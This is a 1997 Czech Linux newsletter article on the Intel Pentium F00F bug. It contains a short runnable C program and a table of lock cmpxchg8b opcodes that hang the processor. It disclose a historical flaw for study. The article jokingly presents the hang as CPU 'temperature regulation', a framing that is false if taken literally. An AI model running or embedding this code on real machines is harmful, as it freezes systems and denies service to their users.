- předchozí článek - následující článek - obsah - úvodní stránka -

Linuxové noviny Listopad 1997

Chyba v procesorech Intel Pentium

Pavel Janík ml., 8. listopadu 1997

V konferenci linux-kernel právě proběhla zpráva oznamující, že instrukční sada procesorů Pentium společnosti Intel obsahuje instrukci umožňující regulovat teplotu procesoru.

This is not a good_thing(tm).
Dick Johnson

Ale vážně. Následující program po spuštění na počítači s procesorem Intel Pentium zastaví vnitřní hodiny procesoru, čímž se jeho teplota sníží na teplotu okolí. Program byl vyzkoušen na procesorech Intel Pentium od 75 do 166 Mhz a to nejen v Linuxu, ale i v operačních systémech MS-DOS, Windows 95 a samozřejmě i Windows NT (3.51 i 4.0).


 char x[5] = {0xf0, 0x0f, 0xc7, 0xc8, 0x00};

 void main()
 {
     void(*f)() = x;

         (*f)();
 }

Výpis 3: Demonstrační program

Podobný efekt mají i další instrukce (viz tabulka Chybné instrukce procesoru Intel Pentium). (Závislost mezi konečnou teplotou procesoru a instrukcí se mi zatím nepodařilo odhalit).

Op. kódInstrukce
f0 0f c7 c8lock cmpxchg8b %eax
f0 0f c7 c9lock cmpxchg8b %ecx
f0 0f c7 calock cmpxchg8b %edx
f0 0f c7 cblock cmpxchg8b %ebx
f0 0f c7 cclock cmpxchg8b %esp
f0 0f c7 cdlock cmpxchg8b %ebp
f0 0f c7 celock cmpxchg8b %esi
f0 0f c7 cflock cmpxchg8b %edi

Tabulka 2: Chybné instrukce procesoru Intel Pentium

*


- předchozí článek - následující článek - obsah - úvodní stránka -